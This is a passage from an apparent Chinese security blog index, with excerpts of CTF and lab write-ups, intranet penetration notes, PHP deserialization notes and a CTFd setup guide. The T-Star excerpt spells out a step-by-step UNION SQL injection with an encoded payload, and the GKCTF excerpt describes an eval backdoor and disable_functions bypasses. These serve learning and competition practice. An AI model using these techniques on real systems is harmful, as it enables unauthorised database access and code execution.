《内网安全攻防-渗透测试实战指南》阅读笔记

第一章 内网渗透测试基础 内网基础知识 工作组 对局域网中的计算机进行分类,使得网络更有序。计算机的管理依然是各自为政,所有计算机依然是对等的,松散会员制,可以随意加入和退出,且不同工作组之间的共享资源可以相互访问。 域 “域”是一个有安全边界的计算机组合(一个域中的用户无法访问另一个域中的资源),域内资源由一台域控制器(Domain Controller,DC)集中管理,用户若想访问域内资源必须进行身份验证。当计算机连接到域时,域控制器首先需要鉴别计算机是否属于这个域,再确定用户名和密码是否正确,若全部正确则让其登录。 单域:即只有一个域的网络环境,一般需要两台DC,一台DC,另一台备用DC(容灾) 父子域:类比公司总部和公司分部的关系,总部的域称为父域,各分部的域称为该域的子域。 使用父子域的好处: 减小了域之间信息交互的压力(域内信息交互不会压缩,域间信息交互可压缩) 不同的子域可以指定特定的安全策略 父子域中域名使用一个.表示一个层次,类似于DNS域名表示方式,子域只能使用父域的名字作为域名后缀 域树:多个域通过建立信任关系组成的集合。若两个域之间需要相互访问,需要建立信任关系(Trust Relation),通过信任关系可以将父子域连接成树状结构。 域森林:多个域树通过建立信任关系组成的集合。 域名服务器:实现域名到IP地址的转换。由于域中计算机使用DNS来定位DC、服务器和其他计算机的,所以域的名字就是DNS域的名字。 内网渗透中,大都是通过寻找DNS服务器来确定域控制器位置(因为DNS服务器和域控制器通常配置在一台机器上) 活动目录 活动目录(Active Directory,AD)是指域环境中提供目录服务的组件,用于存储有关网络对象(用户、组、计算机、共享资源、联系人)的信息。基于活动目录有目录服务,用于帮助用户从活动目录中快速找到所需的消息。活动目录使得企业可以对网络环境进行集中管理。(可类比为内网中的索引,里面存储有内网里所有资源的快捷方式) 活动目录的逻辑结构包含组织单元、域、域树、域森林。域树内的所有域共享一个活动目录,因此非常适合进行统一管理。 活动目录的功能: 账号集中管理 软件集中管理 环境集中管理 增强安全性 更可靠、更短的宕机时间 **域和活动目录的区别:**要实现域环境,其实就是要安装AD。一台计算机安装了AD之后就变成了DC。 安全域的划分 在一个用路由器连接的内网中,可以将网络划分为3个区域: 内网(安全级别最高):分为核心区(存储企业最重要的数据,只有很少的主机能够访问)和办公区(员工日常工作区,一般能够访问DMZ,部分主机可以访问核心区) DMZ(Demilitarized Zone,边界网络,隔离区,安全级别中等):作为内网中安全系统和非安全系统之间的缓冲区,用于对外提供服务,一般可以放置一些必须公开的服务器设施 外网(Internet,安全级别最低) 拥有DMZ的网络需要制定一些访问控制策略: 内网可以访问外网,可以访问DMZ 外网不能访问内网(若要访问可以通过VPN进行),只能访问DMZ DMZ不能访问内网(否则内网无法受到保护),也不能访问外网(存在例外,如邮件服务器等需要访问外网的服务) 域中计算机的分类 域控制器:用于管理所有的网络访问,存储有域内所有的账户和策略信息。允许网络中拥有多台域控制器(容灾) 成员服务器:安装了服务器操作系统并加入了域,但没有安装活动目录的计算机,主要任务是提供网络资源 客户机:安装了其他操作系统的计算机,利用这些计算机和域中的账户就可以登录到域。 独立服务器:和域无关,既不加入域,也没有活动目录 域内权限 域本地组:多域用户访问单域资源(访问同一个域),主要用于授予本域内资源的访问权限,可以从任何域中添加用户账号、通用组和全局组。域本地组无法嵌套在其他组中 全局组:单域用户访问多域资源(必须是同一个域中的用户),只能在创建该全局组的域中添加用户和全局组,但可以在域森林中的任何域内指派权限,也可以嵌套在其他组中 通用组:多域用户访问多域资源,成员信息不保存在域控制器中,而是保存在全局编录(GC)中,任何变化都会导致全林复制 A-G-DL-P策略:Account–Global–Universal Group–Domain Local Group–Permission,先将用户账号添加至全局组中,再将全局组添加至域本地组中,然后为域本地组分配资源权限。 下图为Windows Server 2012 中Users组织单元中的内置组: 搭建内网环境 域控制器主机使用服务器管理器安装“DNS”和“Active Directory域服务”两个功能,然后修改机器IP为固定IP,并修改DNS服务器为自身。安装好功能之后Win+R输入dsa.msc打开活动目录管理界面创建一个新的域用户 ...

Nov. 26, 2020 · 7 min · 1397 words · Jiekang Hu

2020西湖论剑部分复现+另外几道Web题

西湖论剑题目质量算挺高的了,是那种贴近真实环境的题目,以至于质量高到完全看不懂(除了Misc感觉比较离谱 下面都是赛后复现了,比赛的时候还是开心的签了一下到,总结:比赛体验很不错,网速很给力,下次还来 Misc yusa_yyds 附件下载:链接 是一个Wireshark流量文件,打开一看是USB数据包。比赛的时候搜了半天只找到了键盘和鼠标的东西,赛后看wp发现是Xbox 360手柄。。。 那是怎么找到的呢?下面是对着WP+自己找的资料进行的总结: 首先是USB的地址格式: 摘自https://bbs.zafu-polaris.cn/d/13-2020-usbyusa-yyds 常见地址格式为 X.Y.Z X表示USB总线ID 对应的过滤值为usb.bus_id Y表示USB设备ID 对应的过滤值为usb.device_address Z表示USB设备的端口 所以从流量包的前一段很容易发现是在读取USB设备列表,因为每次GET DESCRIPTOR的地址都不同。然后搜索发现在GET DESCRIPTOR Response DEVICE返回的是设备的类型,包含设备生产商、设备名称等信息: 由于后面的数据包传输对象地址都是2.15.2,所以只需要关注2.15开头的设备即可。可以看见2.15.0的GET DESCRIPTOR Response DEVICE返回值里面出现了Microsoft和Xbox360 Controller字样。所以可以确定后续的数据包都是Xbox360手柄产生的。 然后开始查看传输的数据包。关注每个数据包的LCD(Leftover Capture Data),可以发现大体的数据包格式:000800ff00000000和0008000000000000,然后从这个链接中找到了Xbox360传输数据包的格式,发现这是震动的数据包,下面是网站中的说明: A type byte of ‘0x00’ indicates a rumble packet. The controller contains two rumble motors: a large weight in the left grip and a small weight in the right grip. The value for both of these motors is updated in a single packet. The rumble values are 8-bit unsigned integers representing the motor speed, where ‘0’ is off and ‘255’ is max speed. The left motor’s rumble value is stored in index 3, while the right motor’s rumble value is stored in index 4. This packet is typically 8 bytes long, with bytes 2, 5, 6, and 7 unused (0x00). ...

Oct. 13, 2020 · 15 min · 3015 words · Jiekang Hu

PHP反序列化姿势总结

最近工作室招新,所以又重新捡起了PHP,做了一些反序列化的题目,又学到了一些Tricks,在这里稍微总结一下。 序列化字符串中的字母含义 有关序列化字符串中的字母含义,在这篇文章里面已经说的很清楚了(大佬tql,PHP源码都看了一遍),这里稍微再总结一下: a - array:数组 b - boolean:布尔值 d - double:浮点数 i - integer:整数 o - common object:PHP3时被用来代表序列化对象,但是PHP4被O取代 r - reference:对象引用 s - non-escaped binary string:无转义字符的字符串 S - escaped binary string:带有转义字符的字符串 C - custom object:不知道干啥用的,从来没碰到过 O - class:普通的类 N - null:NULL值 R - pointer reference:指针引用 U - unicode string:Unicode字符串 下面总结一些类型的特点: 整数i:整数的范围为从-2147483648 到 2147483647,若序列化时的数字超出该范围,则直接转换为浮点数;若反序列化时数字超出该范围,则无法得到期望数值。 浮点数d:浮点数可以表示成整数形式、浮点数形式和科学技术法形式,正负无穷大数被序列化时返回INF和-INF,若反序列化时数字超出PHP的表示范围,也返回INF;若反序列化时数字的精度超出PHP的最小精度,则返回0;若序列化时为非数,则返回NAN,NAN被反序列化时输出为0。 在s、S、O等存在字符串长度的对象中,字符串长度值不能为负数,允许字符串长度的值带有+号,如s:+5:"value";。 S是PHP6新引进的一种字符串序列化方式,它允许字符串以转义字符的情况出现(\+字符对应16进制数),如protected对象成员名可序列化为S:5:"\00*\00value";,其中\00即代表chr(0)字符(此处必须要两位\00,如果使用\0会引发Unserialize Error)。 关于对象引用r和指针引用R: 这两者在引用方式上是有区别的,可以理解为对象引用是一个单边的引用,被赋值的那个变量可以任意修改值,而不会影响到被引用的那个对象;而指针引用则是一个双边的引用,被赋值的那个变量若做了改动,被引用的那个对象也会被修改。也就是说指针引用其实就是两个对象指针指向了同一块内存区域,所以任一指针的数值修改其实都是在对这块内存做修改,也就会影响到另一个指针的值;而对象引用的被赋值对象就像一个临时的指针,指向了被引用对象的内存区域,而当被赋值对象的值修改之后,这个临时指针就指向了另一块内存。下面是两段示例代码: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 class SampleClass { var $value; } $a = new SampleClass(); $a->value = 1; $b = new SampleClass(); $b->value = $a; // 对象引用 echo "<pre>"; var_dump($a); var_dump($b); $a->value=2; // 被引用对象的修改 var_dump($a); var_dump($b); $b->value=3; // 被赋值对象的修改 var_dump($a); var_dump($b); echo "</pre>"; 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 class SampleClass { var $value; } $a = new SampleClass(); $a->value = 1; $b = new SampleClass(); $b->value = $a; // 对象引用 echo "<pre>"; var_dump($a); var_dump($b); $a->value=2; // 被引用对象的修改 var_dump($a); var_dump($b); $b->value=3; // 被赋值对象的修改 var_dump($a); var_dump($b); echo "</pre>"; 下面是两端程序输出的差异: ...

Sep. 25, 2020 · 3 min · 446 words · Jiekang Hu

T-Star 2020 靶场赛 WriteUp

昨天开始的靶场赛,全是Web,除了最后两个SQL注入没做出来,其他全做出来了+复现出来了,这里记录几个比较有意思的题目。 你能爆破吗 首页有个登录界面,随便输入会返回查询的语句,可以发现存在特殊字符转义没办法注入。于是尝试用户名和密码均输入admin,显示如下界面: 发现服务器将刚才输入的用户名作为Cookie储存了起来,base64解密后是admin: 尝试改为admin" or 1=1 limit 1,1#,发现输出改变,说明存在SQL注入: 于是使用联合注入,完整的注入过程如下: 1 2 3 4 5 6 7 8 SELECT * FROM users WHERE username="xxx" order by 2# SELECT * FROM users WHERE username="xxx" order by 3# SELECT * FROM users WHERE username="xxx" order by 4# /* 报错 */ SELECT * FROM users WHERE username="xxx" union select 1,2,3# SELECT * FROM users WHERE username="xxx" union select 1,database(),user()# /* security, root@localhost */ SELECT * FROM users WHERE username="xxx" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()# /* emails,flag,referers,uagents,users */ SELECT * FROM users WHERE username="xxx" union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='flag'# /* id,flag */ SELECT * FROM users WHERE username="xxx" union select 1,group_concat(id),3 from flag# /* flag{a405ef895ef46d96} */ 最终发现flag表,查询得到flag。对应的payload为eHh4IiB1bmlvbiBzZWxlY3QgMSxncm91cF9jb25jYXQoaWQpLGdyb3VwX2NvbmNhdChmbGFnKSBmcm9tIGZsYWcj ...

Jul. 1, 2020 · 3 min · 514 words · Jiekang Hu

GKCTF WriteUp

Web CheckIN 又是一道bypass disable_functions的题目 首先给出源代码: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <title>Check_In</title> <?php highlight_file(__FILE__); class ClassName { public $code = null; public $decode = null; function __construct() { $this->code = @$this->x()['Ginkgo']; $this->decode = @base64_decode( $this->code ); @Eval($this->decode); } public function x() { return $_REQUEST; } } new ClassName(); 也就是只要输入base64加密的代码就能执行,执行phpinfo()发现版本为7.3,而且得到了一堆不能用的函数,能执行系统命令的都被ban了。 执行var_dump(scandir('/'));得到根目录有flag和readflag,flag文件读不到,readflag读出来是一个可执行文件,功能就是cat /flag。 也就是说,只要想办法执行这个文件就可以拿到flag。 然后就是写一句话代码执行,一开始用了蚁剑自带的bypass_disable_functions插件,但是好像在/var/www/html下面没有写权限所以都执行失败了。。。 后来发现了可以在/tmp上面上传文件然后包含,但是一开始没有找到能用的PoC。。。看WP找到一个pwn的PoC:https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php 就RCE了,直接拿到flag: 更新: 后面再次尝试,发现只是插件不行,利用LD_PRELOAD环境变量劫持同样可以RCE:(更多请看我之前的文章) ...

May. 24, 2020 · 6 min · 1086 words · Jiekang Hu

BJD3rd-WriteUp

Crypto bbcrypto 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 # -*- coding:utf-8 -*- import A,SALT from itertools import * def encrypt(m, a, si): c="" for i in range(len(m)): c+=hex(((ord(m[i])) * a + ord(next(si))) % 128)[2:].zfill(2) return c if __name__ == "__main__": m = 'flag{********************************}' a = A salt = SALT assert(len(salt)==3) assert(salt.isalpha()) si = cycle(salt.lower()) print("明文内容为:") print(m) print("加密后的密文为:") c=encrypt(m, a, si) print(c) #加密后的密文为: #177401504b0125272c122743171e2c250a602e3a7c206e014a012703273a3c0160173a73753d 很容易找到6组明文和密文的对应关系: f(102)->0x17 l(108)->0x74 a(97)->0x01 g(103)->0x50 {(123)->0x4b }(125)->0x3d 由assert语句可以得到salt的长度为3且全为小写字母,且参与加密的是salt的循环迭代器,所以很容易在已知的明文-密文对中找到使用salt的同一位加密的一组或多组数据,比如这里的f和g、l、{和}。 ...

May. 23, 2020 · 4 min · 851 words · Jiekang Hu

CTFd平台搭建记录

最近搭建了一个CTFd平台,花了差不多一个星期叭(虽然最后发现在一个小问题上卡了好久),用CTFd-Whale实现了独立题目容器,记录一下安装过程,避免以后再踩坑。 部署用的是最简单的Docker+Docker Compose部署,系统环境Ubuntu 18.04。 官方项目地址:https://github.com/CTFd/CTFd Docker与Docker Compose安装 Docker使用阿里云镜像源安装: 卸载老版本Docker: 1 sudo apt-get remove docker docker-engine docker.io containerd runc 更新软件 1 sudo apt-get update 安装必备软件包 1 sudo apt-get install apt-transport-https ca-certificates curl gnupg-agent software-properties-common 添加GPG密钥 1 curl -fsSL http://mirrors.aliyun.com/docker-ce/linux/ubuntu/gpg | sudo apt-key add - 查看密钥是否添加成功 1 sudo apt-key fingerprint 0EBFCD88 若添加成功,则将显示如下信息: 添加阿里云的软件源 1 sudo add-apt-repository "deb [arch=amd64] http://mirrors.aliyun.com/docker-ce/linux/ubuntu $(lsb_release -cs) stable" 若添加成功,则在/etc/apt/sources.list中可看见类似如下的记录: ...

Apr. 26, 2020 · 3 min · 431 words · Jiekang Hu

Ha1cyonCTF WriteUp

最近搞的西工大CTF,整体题目感觉挺难的,看了WP之后发现Web还有一些很新的CVE,Misc还有音频隐写,都是没接触过的东西。除了服务器不定时的尿崩之外(运维挨打),做出来了几个题,也是第一次接触CTF的Crypto吧,记录一下收获。 Misc 抽象带师 真就人均狗粉丝嗷( Flag:NPUCTF{欢迎来到西北工业大学CTF比赛世界上最简单的比赛} Misc就做出来一道。。。真的难 Crypto 认清形势,建立信心 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from Crypto.Util.number import * from gmpy2 import * from secret import flag p = getPrime(25) e = # Hidden q = getPrime(25) n = p * q m = bytes_to_long(flag.strip(b"npuctf{").strip(b"}")) c = pow(m, e, n) print(c) print(pow(2, e, n)) print(pow(4, e, n)) print(pow(8, e, n)) ''' 169169912654178 128509160179202 518818742414340 358553002064450 ''' 一道RSA的题目,由于输出的数字大小也不是很大,后面一点一点做着也就做出来了。 ...

Apr. 22, 2020 · 4 min · 748 words · Jiekang Hu